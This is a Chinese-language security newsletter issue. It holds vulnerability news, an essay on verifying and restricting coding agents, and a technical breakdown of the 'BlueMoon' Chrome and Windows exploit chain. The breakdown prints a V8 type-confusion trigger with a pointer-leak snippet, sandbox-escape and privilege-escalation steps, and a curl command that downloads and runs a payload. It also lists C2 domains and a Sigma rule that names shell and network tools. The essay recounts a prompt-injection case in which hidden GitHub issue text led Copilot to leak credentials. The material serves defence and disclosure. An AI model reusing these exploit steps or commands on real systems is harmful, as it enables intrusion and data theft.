我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 97.1% 的成绩。 了解更多

所有期

The Breach Brief

智能体负责烘焙,谁来品尝?

当代码在几秒钟内就能生成,瓶颈便转移到了测试套件、执行安全以及对结果负责的人身上。

Ostorlab Research 阅读时长 9 分钟

Stripe 报告称,每周有超过 1,300 个完全由智能体编写的拉取请求被合并。这些智能体接收任务、分析项目、修改代码、运行测试,并将提议的变更交回给人类审查。

这样的速度改变了瓶颈所在。人工审查可以评估最终完成的代码,却无法撤销智能体在编写代码过程中已经执行的操作。

本周,我们来看看智能体式软件开发生命周期如何改变团队在代码进入生产环境之前需要验证、保护和管控的内容。

本期还有:攻击者在不到五分钟内获取 Artifactory 管理员权限、一个最高严重程度的 GitLab 漏洞遭到积极利用、一封针对 Cisco Secure Email Gateway 的恶意邮件、对 1.8 million 个 Android 软件包的自动化密钥搜寻、以通行密钥为幌子的云端入侵、用于分析 Flutter 应用的 reFlutter,以及更多内容。


本期内容

🌡️ 威胁等级:高度警戒

⚡ 新闻:五条值得关注的安全新闻

🔎 深度解析:每周 1,300 个 AI 编写的拉取请求,由谁来验证?

🎣 这是钓鱼吗?

🔬 技术研究:当上游修复变成零日漏洞:深入剖析“BlueMoon”从浏览器到内核的漏洞利用链

🛠️ 本周工具:reFlutter

👏 本周人物:Steve Springett

📅 本周活动:FOSDEM 2027

📚 本周书籍:Fuzzing Against the Machine

😅 本周梗图

❓ 离开前的一个问题

让我们开始吧。


🌡️ 威胁等级

⚡ 新闻

从匿名访问到 Artifactory 管理员权限,只需不到五分钟

Wiz 于 9 月 10 日发布的调查(已由 JFrog 的安全公告证实)发现,攻击者将 CVE-2026-42018 与 CVE-2026-42016 串联起来,攻击自托管的 Artifactory 服务器。其中一个漏洞泄露了匿名用户的令牌,另一个则提升了该令牌的权限。部分入侵在不到五分钟内就创建了新的管理员账户,随后植入恶意插件和 Rust 后门。请先打补丁,再检查账户、令牌和插件中是否存在持久化痕迹。


GitLab 最高严重程度的文件读取漏洞现已遭到积极利用

GitLab 于 9 月 10 日发布的补丁版本修复了 CVE-2026-85706,这是仓库 commits API 中一个 CVSS 评分为 10.0 的漏洞。在特定条件下,未经身份验证的攻击者可以读取服务器上的任意文件,进而可能泄露配置和凭据。据 BleepingComputer 报道,CISA 已将该漏洞列入其已知被利用漏洞目录。请升级自托管实例,并排查是否存在密钥泄露。


一封精心构造的邮件即可让攻击者获得 Cisco 网关的 root 权限

Cisco 于 9 月 14 日发布的安全公告证实,CVE-2026-76461 正遭到积极利用。这是 Secure Email Gateway 中一个 CVSS 评分为 9.8 的漏洞:一封恶意邮件即可触发 SQL 注入,并导致命令以 root 权限在存在漏洞的物理或虚拟设备上运行。据 The Hacker News 报道,Cisco 已联系检测到恶意活动的客户。请立即打补丁,并检查外部网络和防火墙日志。


1.8 million 个 Android 软件包遭自动化扫描以搜寻密钥

Anthropic 的 9 月威胁报告描述了一次借助 Claude 开展的行动:攻击者下载了 1.8 million 个不同的 Android APK,对其进行反编译并搜索硬编码密钥。据 BleepingComputer 报道,经过验证的结果被用于一次凭据窃取行动,与之并行的还有一条独立的 GitHub 令牌流水线。请检查已编译发布的版本中是否存在可复用的密钥,并吊销已泄露的凭据,因为后续版本并不会让旧副本失效。


一次通行密钥更新请求成为云端入侵的突破口

Microsoft 于 9 月 9 日发布的调查描述了攻击者冒充 IT 人员、催促员工更新通行密钥或登录设置的手法。这一借口会把受害者引向钓鱼页面或设备代码授权,从而让攻击者获得账户访问权限。据 The Hacker News 报道,攻击者随后添加了身份验证方式,并收集电子邮件和云端文件。请将登录记录、身份验证变更和大批量数据访问关联分析,然后撤销会话并删除未经授权的验证方式。


🔎 深度解析:

每周 1,300 个 AI 编写的拉取请求,由谁来验证?

2026 年 2 月,Stripe 报告称,每周有超过 1,300 个完全由 AI 智能体编写的拉取请求被合并。

在这样的规模下,生成代码的速度超过了检查代码是否可信的速度。

Stripe 的编码智能体从工程师那里接收任务,分析项目、修改代码并运行检查。它们会根据检查结果尝试修正,然后再将提议的变更交回给人类审查。工程师审查交回的结果,而无需指挥其间的每一个步骤。

人工审查可以评估最终完成的代码,却无法撤销智能体在编写代码过程中已经执行的操作。

例如,如果智能体在执行任务期间将机密项目信息发送到外部服务,那么事后拒绝其代码也无法挽回这次泄露。

以这种分工方式为基础的,正是智能体式软件开发生命周期,即 agentic SDLC。

同样的模式还可以从编码和测试延伸到规划、设计、编码、测试、审查和维护。人负责设定目标并做出重要决策,智能体则承担更多的具体工作。

这引出了两个安全问题:团队能否信任智能体产出的内容?又能否在工作进入审查之前管控智能体的行为?

为什么只靠最终审查是不够的

Orca 的 RoguePilot 研究展示了在拉取请求到达审查者之前可能发生的事情。

注:RoguePilot 依赖于一条特定的 GitHub Codespaces 漏洞利用链,该问题现已修复。

GitHub issue 中隐藏的指令被传递给了 Codespaces 中的 GitHub Copilot。再加上周边工具中的薄弱环节,这些指令可能导致访问凭据泄露,并让攻击者接管该仓库。

等到审查者看到这个拉取请求时,凭据可能早已泄露。拒绝由此产生的拉取请求也无法挽回这次入侵。

需要保护的不只是拉取请求本身,智能体的访问权限和行为同样重要。

责任从审查之前就已开始

RoguePilot 说明了为什么最终的代码审查不能是唯一的检查点。责任从定义任务时就已开始,并贯穿构建、验证和发布的全过程。

人与智能体在 SDLC 各阶段中的角色。参考自 Claude Academy 和 CodeRabbit。

最终审查只是其中一个检查点。安全必须参与塑造任务、限制智能体能访问和执行的内容、验证结果,并管控进入生产环境的内容。

智能体在行动之前需要什么

要让智能体安全而高效地工作,仅有一个任务标题是不够的。

“让结账更快”听起来很清楚。但它可能意味着让页面加载得更快、减少客户的操作步骤,或者更快地确认付款。每一种理解都可能导致不同的改动。

以下四类信息能让任务变得清晰:

  • 明确的目标。预期结果应当说明“更快”是什么意思、如何衡量改进,以及哪些内容不得改变。这也包括安全要求,例如确保客户只能访问自己的订单。

  • 当前的项目上下文。智能体应当了解结账流程如何运作、它连接了哪些系统、项目的编码规范,以及描述预期行为的测试。

  • 以往的决策。早先的尝试可能因为某些原因而失败或被否决,而智能体无法从当前代码中发现这些原因。将这些经验记录在共享的项目指南中,有助于防止同样的错误再次出现。

  • 唯一的权威信息来源。编码智能体、测试智能体和审查者应当基于同一份已批准的需求开展工作。当某项决策发生变化时,这一更新必须传达给所有相关方。

如果一项新的结账需求传达给了编码智能体,却没有传达给测试智能体,两者就可能继续针对不同版本的任务工作。代码看起来可能是正确的,而测试检查的却是错误的行为。

智能体可以非常高效地完成一项错误的任务。清晰且及时更新的方向,才能把速度转化为有用的工作。

验证智能体的产出

清晰的任务告诉智能体应该构建什么,但并不能证明结果可以正常工作。

任务过程中的测试

智能体可以修改代码、运行检查、分析失败原因,然后再次尝试。每一次结果都帮助它决定下一步要修正什么。

在结账的例子中,一项测试可能会发现提议的改动把同一个订单记录了两次。智能体可以调查这次失败、修改代码,并重新运行测试。

这次修正仍然留下了其他未解答的问题。付款确认是否正常?现有的订单记录是否得到保留?每位客户是否只能访问自己的信息?

通过测试只能证明某一项被检查的行为,而不能证明整个改动是安全的。

批准之前的更全面检查

在批准之前,提议的改动要经过更广泛的验证,包括更全面的测试、代码分析、安全检查和人工审查。

每一项检查回答的是不同的问题。一次成功的购买只能证明该功能在一切顺利时可以正常工作。当付款被拒绝时,它仍可能出错,或者把一位客户的信息暴露给另一位客户。

因此,能否批准取决于是否清楚检查了哪些内容、这些检查覆盖了哪些需求,以及还有哪些问题尚未解决。

当验证跟不上时

智能体产出改动的速度可能超过人审查的速度。于是,待处理的工作开始在实现与批准之间不断积压。

Sonar 将这种积压称为“验证债务”:已经产出、但其可靠性和安全性尚未得到确认的工作。

在编写代码上节省的时间,可能会变成花在审阅测试结果、调查失败原因以及决定哪些内容可以发布上的时间。

反复的修正尝试同样会消耗时间和计算资源。在其公开的 Minions 工作流中,Stripe 最多允许进行两轮更全面的自动化测试,之后便将工作交回给人进行更仔细的审查。

瓶颈已经转移。生成代码正变得比证明代码已经就绪更容易。

管控智能体的访问权限和行为

验证检查的是智能体产出的结果,但它并不能决定智能体在产出过程中可以访问什么、做什么。

负责结账功能的智能体可能需要修改项目文件和使用测试环境的权限,但它并不一定需要访问真实的客户记录、生产环境的支付设置或每一个相连的系统。

只授予智能体完成任务所需的访问权限

访问权限应当与所执行的工作相匹配。任务不需要的文件、工具、账户和系统应保持不可访问。

有些操作的风险也比其他操作更高。读取测试文件与修改生产数据或向外部服务发送信息是不同的。影响更大的操作可以暂停执行,直到有人批准为止。

用权限和隔离环境来落实限制

书面指令可以告诉智能体不要访问某个系统,但如果智能体已经拥有权限,它就无法阻止这种访问。

模型之外的控制措施提供了这道边界,包括受限账户、工具权限、隔离的开发环境、对外部连接的限制以及审批要求。

如果智能体出现意外行为或遵循了误导性的指令,这些控制措施可以限制它能走多远。

记录智能体访问了什么、做了什么

当批准所涵盖的不只是最终代码时,它会更有分量。任务记录可以显示智能体访问了哪些文件、使用了哪些工具、做了哪些改动,以及哪些操作获得了人工批准。

这些证据帮助审查者不仅了解智能体产出了什么,还了解它是如何得出这些结果的。

指令告诉智能体应该做什么,权限决定它能够做什么。

为智能体式 SDLC 做好准备

智能体式 SDLC 并没有消除人的责任,而是转移了它。

随着智能体承担更多的实现、测试和调查工作,人们会把更多时间花在定义任务、设定限制、审查证据以及决定哪些内容可以发布上。

这使得周边开发流程中的薄弱环节造成的后果更加严重。不明确的需求可能把智能体引向错误的目标;过度的访问权限可能放大一个错误造成的损害;不完整的测试可能让人对一个尚未就绪的改动产生信心。

更快的执行速度可能让这些薄弱环节在被人察觉之前蔓延得更远。

为这一转变做好准备,意味着为智能体提供清晰的方向、限制它们能够访问和执行的内容,并在发布之前验证它们的工作。维护这些控制措施、审查结果和解决失败问题所花费的时间,都应当计入对收益的任何评估之中。

衡量进展的真正标准,不是智能体产出了多少代码,而是团队能够验证、保护并放心发布其中的多少。


🎣 这是钓鱼吗?

一封来自“Microsoft account team”的邮件出现在您的收件箱中,里面附有一个一次性安全代码。而您既没有尝试登录,也没有申请过验证码。

请仔细查看这封邮件及其发件人信息。

是 Microsoft 的正规邮件,还是钓鱼企图?


🔬 技术研究

当上游修复变成零日漏洞:深入剖析“BlueMoon”从浏览器到内核的漏洞利用链

一个开源安全补丁,能否在更新正式推送之前,就被武器化用于攻击 30 亿个浏览器?

浏览器的安全架构建立在分层隔离的假设之上:如果 JavaScript 引擎失守,用户态沙箱会困住崩溃;如果沙箱失效,操作系统内核会强制执行进程隔离。而“BlueMoon”漏洞利用工具包在不到十秒的时间内就瓦解了这套防御的每一层:

Web Worker → 内联排序类型混淆 → V8 沙箱逃逸 → Windows 内核 ALPC 本地权限提升 → 中完整性级别 broker 沙箱突破

这次攻击活动将两个 Google Chrome 零日漏洞与一个 Microsoft Windows 内核本地权限提升零日漏洞武器化。Proofpoint 和 Volexity 于 2026 年 9 月 9 日披露,BlueMoon 已被国家背景的威胁行为者在野部署,其中包括 JungleBamboo(APT31 / TA412)和 UTA0560,攻击对象为国防、外交和非政府组织。

BlueMoon 之所以具有历史意义,不仅在于其技术上的精巧,更在于其时机。主要漏洞 CVE-2026-85046 于 2026 年 8 月 4 日被报告给 Chromium 项目,并于 8 月 7 日在公开的开源 Git 仓库中得到修复。然而,编译好的稳定版更新(Google Chrome 153)直到 9 月 3 日才推送到用户的桌面。攻击者在这长达四周的“补丁间隙”中对公开的源代码差异进行了逆向工程,把一个上游补丁武器化为针对全球装机量的零日漏洞。

随后,CISA 在其已知被利用漏洞(KEV)目录中将 Chrome 和 Windows 的这两类漏洞都列为必须紧急修复的漏洞。


┌────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│                                   THE BLUEMOON EXPLOIT ARCHITECTURE                                    │
└────────────────────────────────────────────────────────────────────────────────────────────────────────┘

  [ Spear-Phishing / Reflected XSS ]
                 │
                 ▼
  ┌──────────────────────────────┐
  │  HTML Exploit Stager         │  • Hidden iframe loads page.html (BUILD: b20260829a)
  │  (Files1.html + react.js)    │  • Decoy donation form displayed to mask background activity
  └──────────────┬───────────────┘
                 │ Spawns dedicated Web Worker (isolates renderer crashes; 5x retry loop)
                 ▼
  ┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
  │ STAGE 1: V8 TYPE CONFUSION (CVE-2026-85046)                                                          │
  │ • Array.prototype.sort inlining bug in Maglev/TurboFan (TryReduceArrayPrototypeSort)                │
  │ • Element kind backwards migration via mid-sort Array.prototype.fill(0)                              │
  │ • Result: PACKED_ELEMENTS confused as PACKED_SMI_ELEMENTS -> addrof & fakeobj heap primitives       │
  └──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
                                 │ Arbitrary Read/Write within 4GB V8 Heap Cage
                                 ▼
  ┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
  │ STAGE 2: V8 SANDBOX ESCAPE (CVE-2026-87491)                                                          │
  │ • WebAssembly instance metadata (WasmInstanceObject) and function jump tables corrupted              │
  │ • Overwrites compiled executable code pointers (RWX pages)                                           │
  │ • Executes embedded reflective shellcode (p1: Host Reconnaissance DLL)                              │
  └──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
                                 │ Low-Integrity / Untrusted Renderer Process Context
                                 ▼
  ┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
  │ STAGE 3: WINDOWS KERNEL LPE (CVE-2026-85880)                                                         │
  │ • Executes reflective DLL payload p2 targeting ntoskrnl.exe (RtlpCreateServerAcl)                    │
  │ • ALPC / WNF heap buffer overflow -> Kernel Read/Write                                               │
  │ • Locates renderer EPROCESS token -> elevates privileges & enables SeDebugPrivilege                  │
  └──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
                                 │ Elevated Token Privilege
                                 ▼
  ┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
  │ STAGE 4: BROKER INJECTION & SANDBOX BREAKOUT (Payload pp)                                            │
  │ • Injects shellcode into parent Chrome Browser Broker process (Medium Integrity)                     │
  │ • Calls CreateProcessA() to execute command outside the sandbox:                                     │
  │   cmd.exe /c curl -sS -o "%TEMP%\msgbox.exe" "<exeUrl>" && "%TEMP%\msgbox.exe"                       │
  └──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
                                 │
                 ┌───────────────┴───────────────┐
                 ▼                               ▼
  ┌──────────────────────────────┐┌──────────────────────────────┐
  │ CAMPAIGN A: UTA0560          ││ CAMPAIGN B: JUNGLEBAMBOO     │
  │ • Sideloads wsc.dll via      ││ • SUPERSTOMP loader bypasses │
  │   msgbox.exe dropper         ││   Chrome Secure Preferences  │
  │ • Scheduled Task persistence ││ • Recalculates legacy        │
  │ • In-memory GRIMWEDGE        ││   super_mac HMAC             │
  │   JScript C2 backdoor        ││ • Deploys LONGTALE extension │
  │   inside msiexec.exe         ││   (masquerading as Gemini AI)│
  └──────────────────────────────┘└──────────────────────────────┘ 

1. 排序假设与 V8 堆隔离区突破(CVE-2026-85046)

为了加速 JavaScript 执行,V8 的优化编译器(Maglev 和 TurboFan)会积极消除内置函数的调用开销。在处理 Array.prototype.sort 时,编译器会在 src/maglev/maglev-graph-builder.cc 中检查 TryReduceArrayPrototypeSort。如果数组包含的元素少于 16 个,且元素类型已知且一致,编译器就会用一个轻量级的内联插入排序替换标准的 TimSort 内置函数。

checkReceiverMaps();
temp = copy(receiver.elements);
insertionSort(temp, comparefn);
checkReceiverMapsAndLength();
copy(temp, receiver.elements); 

由于任意的 JavaScript 比较函数(comparefn)可以产生任意副作用,V8 不会原地排序数组。它会先将元素复制到一个临时的 FixedArray 中,在该副本上运行插入排序,再把排好序的结果复制回接收者的后备存储。

在写回结果之前,V8 会使用一个 CheckMaps 守卫来验证接收者的布局在比较函数执行期间没有发生变化:

// src/maglev/maglev-graph-builder.cc
if (receiver_maps_were_unstable) {
    RETURN_IF_ABORT(AddNewNode<CheckMaps>(
        {receiver}, receiver_maps_before_loop, CheckType::kOmitHeapObjectCheck));
}

致命缺陷在于结构层面:编译器验证的是数组当前的 map 是否为循环开始前观察到的 map 之一(receiver_maps_before_loop),而不是验证该 map 是否仍然与排序前的原始类型完全相同。

通过同时用整数数组(PACKED_SMI_ELEMENTS)和对象数组(PACKED_ELEMENTS)预热 JIT 函数,反馈向量会将这两个 map 都记录为有效的候选项:

function confuse(arr) {
  function compare() {
    arr.fill(0); // Mutates element kind backwards mid-sort!
    return 0;
  }
  arr.sort(compare);
}

// Train Maglev to accept both SMI and Object maps
for (let i = 0; i < 1000; i++) {
  confuse([6, 9, 4, 2, 0]);
  confuse([{}, {}, {}]);
}

[图 1:一只机械排序臂给复杂对象指针贴上了整数标签,让它们溜过安全守卫,进入受限的 V8 堆隔离区]

按照正常的 V8 规则,数组元素类型只会从具体向通用单向转换(PACKED_SMI → PACKED_ELEMENTS)。对象数组不可能自发转换为整数数组。然而,Array.prototype.fill() 包含一项专门的优化:在替换数组的每一个元素时,V8 认定旧值不会保留下来,于是将 map 向后迁移:

// src/builtins/builtins-array.cc: is_replacing_all_elements branch
// For the case where we are replacing all elements, we can migrate the
// map backwards in the elements kind chain and ignore the current contents.
JSObject::SetMapAndElements(isolate, array, new_map, elements);

当 arr.fill(0) 在 compare() 内部触发时,接收者的 map 会立即降级为 PACKED_SMI_ELEMENTS。排序例程结束后,由于 PACKED_SMI_ELEMENTS 属于训练集的一部分,V8 有缺陷的 CheckMaps 检查得以通过。随后,V8 盲目地把排好序的对象指针从 temp 复制回接收者。

结果是灾难性的:一个被 JavaScript 引擎视为存放小整数(Smi)的数组,实际上包含的是原始的 32 位带标签对象指针。

实际复现验证

在 Google Chrome 中测试这一原语,会立即产生内存破坏导致的信息泄露:

let bad = [{}, {}];
confuse(bad);

// Calling String() formats elements according to the PACKED_SMI map:
// Rather than returning "[object Object],[object Object]", it prints raw pointer integers!
let raw_leaks = String(bad); 
// Output: "9055778,9055796"

// Reconstructing the 32-bit V8 Cage Compressed Pointer:
let addrof_target = (Number(raw_leaks.split(',')[0]) << 1) | 1;
// Output: 0x1145c45

[图 2:在 Chrome 150 中的实际复现,展示了 V8 Maglev 类型混淆变异,以及通过 addrof 原语提取压缩堆指针]

由于 V8 将这些元素视为 Smi,通过辅助方法读取就能直接泄露堆偏移量(addrof)。为了实现反向原语(fakeobj),BlueMoon 在一个 Old Space 数组上调用 Array.prototype.unshift(0),从而跳过 V8 垃圾回收器的写屏障,把带标签的指针移入不受管理的槽位,并伪造出一个可以在整个 V8 堆上任意读写的 Float64Array。


2. 突破 V8 沙箱隔离区(CVE-2026-87491)

Google 引入 V8 Sandbox(堆隔离区)正是为了化解引擎中的内存破坏问题。即使攻击者在 4GB 的 V8 虚拟地址空间内实现了任意内存读写,指向隔离区外部的指针也会被编码为相对于基址寄存器(r14)的 32 位索引,从而阻止直接写入宿主内存、栈帧或可执行代码。

BlueMoon 利用 CVE-2026-87491 绕过了这道边界,其攻击目标是 WebAssembly 的内部元数据结构。

[图 3:一条线性的机械连锁反应,展示执行流从后台 Web Worker 经由 WebAssembly 和 Windows 内核 ALPC,一路到达宿主 broker 执行]

JavaScript 对象被限制在 4GB 的隔离区内,但 WebAssembly 引擎需要高速访问原生可执行代码页。一个已编译的 WebAssembly 实例(WasmInstanceObject)持有直接的 64 位函数跳转表,以及指向原生内存的内存描述符引用。

借助其 V8 堆任意读写原语,BlueMoon 会:

  1. 扫描堆,定位目标 WasmInstanceObject。

  2. 破坏该实例内部的跳转表指针和内存边界。

  3. 将跳转表的目标重定向到一个包含位置无关 shellcode 的可执行页面。

  4. 从 JavaScript 中调用导出的 WebAssembly 函数,立即突破 V8 Sandbox,在 Chrome 渲染进程内以原生 64 位 CPU 指令执行。

整条漏洞利用链都运行在一个后台 Web Worker 中,该 Worker 由页面端的投放器(page.html)通过 Blob URL 创建。如果在堆操作过程中发生不可恢复的崩溃,只有该工作线程会终止,可见的浏览器标签页完全不受影响。主窗口的投放器脚本会在 sessionStorage[’v8ctf_exp_attempt’] 中记录执行尝试次数,并在线程终止后静默地重新创建 Worker,最多五次。


3. 逃出沙箱:内核 ALPC 本地权限提升与沙箱突破(CVE-2026-85880)

逃出 V8 沙箱后,攻击者进入了原生代码,但仍处于 Google Chrome 经过加固的渲染器沙箱之内。渲染进程在一个受限的 AppContainer 中以不受信任 / 低完整性级别运行,并且:

  • 对文件系统没有任何写入权限。

  • 对网络栈的访问受到限制。

  • 不允许使用进程间句柄。

为了逃出操作系统沙箱,BlueMoon 会依次部署三个预先放置在内存中的位置无关载荷:

1. 载荷 p1:主机遥测与完整性探测

p1 是一个位置无关的加载器,会以反射方式解包一个 64 位侦察 DLL。它在不采取任何破坏性操作的情况下勘察主机环境:

  • 提取准确的 Windows 内部版本号、内核修订版本和 CPUID 特性。

  • 枚举进程令牌的特权、令牌组和完整性级别。

  • 检测虚拟化和沙箱痕迹(通过虚拟机管理程序厂商的 CPUID 字符串区分 VMware、Hyper-V、KVM 和 Xen)。

该 DLL 将这些数据序列化为一个 JSON 配置文件并返回给 JavaScript。调用脚本会检查 Windows 内部版本号,以判断内核漏洞利用是否可行。

2. 载荷 p2:Windows 内核权限提升(CVE-2026-85880)

如果主机运行的是 Windows 10(内部版本 1809 至 22H2)、Windows Server 2022 或 Windows 11 21H2,脚本就会触发 p2。

p2 是一个单一用途的 Windows 内核零日漏洞利用代码,目标是 ntoskrnl.exe 中高级本地过程调用(ALPC)和 Windows 通知设施(WNF)子系统内的 RtlpCreateServerAcl。漏洞利用代码从低完整性级别的渲染进程发送一个格式错误的 ALPC 消息属性结构,从而触发内核堆缓冲区溢出。

该漏洞利用代码通过操纵内核内存来:

  1. 定位发起调用的 Chrome 渲染进程的 EPROCESS 结构。

  2. 覆盖该进程的主 TOKEN 结构。

  3. 启用 SeDebugPrivilege 并提升渲染器的安全上下文。

3. 载荷 pp:浏览器 broker 注入与沙箱突破

尽管内核漏洞利用通过操纵渲染器的 TOKEN 授予了 SeDebugPrivilege 并提升了访问权限,但直接从渲染器创建的进程仍会被限制在 AppContainer 和隔离的窗口站中。为了在桌面上不受限制地执行,并获得完整的文件系统和网络权限,pp shellcode 存根会利用其提升后的内核权限,打开父进程 Chrome 浏览器 broker 进程的句柄(PROCESS_ALL_ACCESS)。

由于浏览器 broker 在交互式用户会话中以标准的中完整性级别运行,将 shellcode 注入 broker 后,pp 就能在沙箱之外调用 CreateProcessA:

cmd.exe /c curl -sS -o "%TEMP%\msgbox.exe" "<exeUrl>" && "%TEMP%\msgbox.exe"

突破已经完成。最初在沙箱化 Web Worker 中运行的一个无特权脚本,如今可以在用户的交互式桌面环境中执行任意二进制文件。


4. 在野攻击活动与各不相同的后渗透行为

尽管 UTA0560 和 JungleBamboo 使用的是逐字节完全相同的漏洞利用投放器(page.html、p1、p2 和 pp),但在初始投放程序执行之后,二者的后渗透行动就完全分道扬镳了:

[图 4:取证视图,关联了 Chrome Secure Preferences 篡改、伪装成 Gemini 扩展、命令行 curl 执行以及计划任务持久化]

攻击活动 A:UTA0560 与 GRIMWEDGE 后门

UTA0560 针对非政府组织发送钓鱼邮件,利用一所美国大学网站上的反射型 XSS 漏洞,将受害者重定向到 cloud[.]shinewrist[.]net。

  1. 投放程序(msgbox.exe):编译于 2026 年 8 月 31 日。释放一个合法的 Windows 二进制文件和一个用于侧加载的恶意 DLL(wsc.dll)。

  2. 持久化:创建一个名为“Windows Scheduled System”的 Windows 计划任务,配置为每 5 分钟重新执行一次侧加载链。

  3. 分阶段投放:向 hxxps://cloud[.]shinewrist[.]net/<path>/%COMPUTERNAME%.txt 发送信标,获取特定于该机器的 MSI 载荷(Temp.txt)。

  4. GRIMWEDGE 后门:该 MSI 会释放一个经过混淆的 JScript 载荷,并直接在 msiexec.exe 内存中执行。GRIMWEDGE 是一个仅 250 行的紧凑型后门,支持十条远程命令:目录枚举、进程终止、文件传输和隐蔽的命令执行。

攻击活动 B:JungleBamboo 与 LONGTALE 扩展劫持

JungleBamboo(APT31)完全没有部署恶意软件,而是专注于通过 SUPERSTOMP 和 LONGTALE 隐蔽地窃取凭据。

SUPERSTOMP 以 Chrome 的配置文件目录为目标,安装一个伪装成官方“Google Gemini AI Assistant”的持久化扩展(扩展 ID:ckiknalbeplpcpofpnabcnhjcegckfei)。

为了在不触发 Chrome 安全警报的情况下静默安装扩展,SUPERSTOMP 会绕过 Chromium 的完整性校验:

  • Chromium 使用 HMAC 认证码(每个首选项的 *_encrypted_hash 和 super_encrypted_hash)来校验配置文件的 Secure Preferences JSON 文件。

  • SUPERSTOMP 复制 Secure Preferences,删除所有新式加密哈希字段,并插入恶意扩展配置。

  • 它会计算有效的旧式 HMAC 哈希,并更新文件的 super_mac。

  • 由于在缺少加密认证码时 Chrome 允许回退到旧式 HMAC,浏览器会在启动时将伪造的文件判定为有效,把该配置文件标记为需要迁移,并自动为攻击者的扩展生成有效的加密哈希。

加载完成后,LONGTALE 完全在 Chrome 的安全上下文中运行:

  • 记录所有标签页中的按键、表单输入和剪贴板粘贴事件。

  • 提取 Cookie 以及 localStorage / sessionStorage 中的令牌。

  • 每当用户浏览的页面匹配敏感关键词触发条件时,自动截取屏幕截图。

  • 与托管在 Cloudflare Tunnels(cfargotunnel[.]com)之后的 C2 服务器通信。


5. 防御手册与取证遥测

要检测主要在内存中执行的漏洞利用链,需要监控浏览器进程与操作系统交互的边界。

1. 终端进程遥测与 Sigma 规则

在正常运行中,Google Chrome 的浏览器 broker 进程及其隔离的子进程都不应创建 Windows 系统实用程序、命令解释器或网络客户端。由于 BlueMoon 是通过将 shellcode 注入父进程 Chrome 浏览器 broker(chrome.exe)并调用 CreateProcessA 来逃出沙箱的,因此监控由浏览器 broker 直接创建的异常子进程,是一个有效且高保真的检测面。

title: Suspicious Chrome Process Creation Outside Sandbox
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\chrome.exe'
  selection_children:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\curl.exe'
      - '\msiexec.exe'
  condition: selection_parent and selection_children
falsepositives:
  - Rare enterprise web apps triggering local registered protocol handlers
level: critical

2. 调查 Secure Preferences 篡改

要识别像 LONGTALE 这样隐蔽安装的扩展:

  • 检查扩展目录:扫描 %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions,查找未登记的扩展 ID 或侧加载的文件夹。

  • 审计 Secure Preferences:监控在主浏览器进程生命周期之外对 Secure Preferences 的写入,或新式加密哈希突然从文件中消失的回退现象。

3. “补丁间隙”的现实

BlueMoon 事件凸显了开源安全模式中固有的、不断扩大的漏洞窗口期。当 Chromium 工程师将安全修复提交到公开的 Git 仓库时,安全研究人员和威胁行为者都能看到其中的差异。

企业不能只依赖标准的每月补丁周期:

  • 加快浏览器更新节奏:启用浏览器自动更新,并通过策略强制在稳定版小版本发布后 24 小时内重启。

  • 隔离高风险浏览:为访问外部邮件链接和不受信任 Web 资源的用户部署远程浏览器隔离(RBI)或沙箱化的虚拟桌面基础设施。

  • 监控 ALPC / 内核异常:监控无特权进程针对父进程获取提升的访问掩码(PROCESS_ALL_ACCESS)的行为。


BlueMoon 漏洞利用链之所以成功,并不是因为某一个灾难性的失误,而是因为它系统性地利用了互不关联的系统之间的信任边界:一个信任元素类型的编译器优化、一个暴露原始跳转表的 WebAssembly 引擎、一个算错 ACL 缓冲区大小的内核子系统,以及一个会“优雅地”回退到旧式 HMAC 的浏览器完整性校验器。

当上游补丁与企业更新之间相隔四周时,开放仓库中的修复就不再是防御,而是攻击的蓝图。


来源与披露:


🛠️ 本周工具

只要设置设备代理,就足以抓取 Flutter 应用的流量。

并不总是如此。

reFlutter 会替换应用中捆绑的 Flutter 引擎,以暴露内部细节并支持流量检查。

它是一个面向 Android 和 iOS 上 Flutter 应用的开源逆向工程框架。

可以把它理解为:

一个打过补丁的 Flutter 引擎 + 一张 Dart 内部结构地图 + 流量拦截支持。

它能做什么?

研究人员可以使用 reFlutter:

  • 提取类名和函数名

  • 打印部分字段的值

  • 识别函数偏移量,以便进一步分析

  • 协助通过 Burp Suite 拦截 HTTPS 流量

  • 绕过部分 Flutter 证书锁定实现

打过补丁的引擎如何工作

Flutter 移动应用在发布时会将 Dart 代码编译为原生机器码。应用中捆绑的 Flutter 引擎包含了执行这些代码的运行时。

reFlutter 会替换为一个兼容的、经过修改的引擎。应用加载时,这个引擎会把 Dart 代码的结构信息记录到一个转储文件中。

这些信息可以作为调查的切入点。例如,一个与会话管理相关的类,可能会帮助研究人员确定从哪里着手检查身份验证行为。

从看不到流量到请求一目了然

设想一位研究人员正在用测试账户评估一个 Flutter 应用。

应用加载了账户信息,但 Burp Suite 中没有出现任何对应的请求。

除非配置了代理解析,否则 Dart 的 HTTP 客户端会直接建立连接。因此,在设备上设置代理并不能保证这些请求会经过代理。

借助 reFlutter,研究人员可以:

  1. 为受支持的应用准备一个打过补丁的副本。

  2. 对其签名并安装到测试设备上。

  3. 针对相应的引擎版本配置流量路由。

  4. 重复操作,并在 Burp Suite 中检查请求。

  5. 利用这些请求指导进一步的 API 测试。

例如,他们可以检查服务器返回了哪些账户信息,并测试访问限制在不同测试账户之间是否依然有效。

定制分析

该项目包含一个 Frida 脚本,可利用转储中的偏移量附加到函数上。它可以记录函数调用,并检查与参数和返回值相关的内存。

研究人员可以对其进行改编,在应用中重复某个操作的同时调查特定函数,从而把提取出的细节与执行期间观察到的行为联系起来。

它的局限

兼容性取决于应用的 Flutter 引擎版本和设备架构。

代码混淆可能会把有意义的类名和函数名替换为可读性较差的符号,使提取出的信息更难解读。

转储也无法重建完整的原始 Dart 源代码。

它不能替代什么

提取出的函数名是一条线索,捕获到的 API 请求是一项观察结果,二者本身都不能证明存在漏洞。

